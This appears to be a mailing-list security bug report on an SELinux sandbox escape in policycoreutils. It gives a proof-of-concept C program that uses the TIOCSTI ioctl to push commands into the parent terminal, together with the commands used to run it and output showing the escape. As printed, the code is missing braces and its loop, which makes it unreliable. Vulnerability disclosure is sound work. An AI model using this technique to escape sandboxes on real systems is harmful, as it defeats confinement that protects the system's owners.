Package: policycoreutils
Severity: important
Tags: security


When executing a program via the SELinux sandbox, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
  char *cmd = "id\n";
   ioctl(0, TIOCSTI, cmd++);
  execlp("/bin/id", "id", NULL);

$ gcc test.c -o test
$ /bin/sandbox ./test
uid=1000 gid=1000 groups=1000 context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
[saken@ghetto ~]$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

This is similar to CVE-2016-2568, CVE-2016-2779, etc.

Federico Bento.

This message was sent using IMP, the Internet Messaging Program.

SELinux-devel mailing list

Reply via email to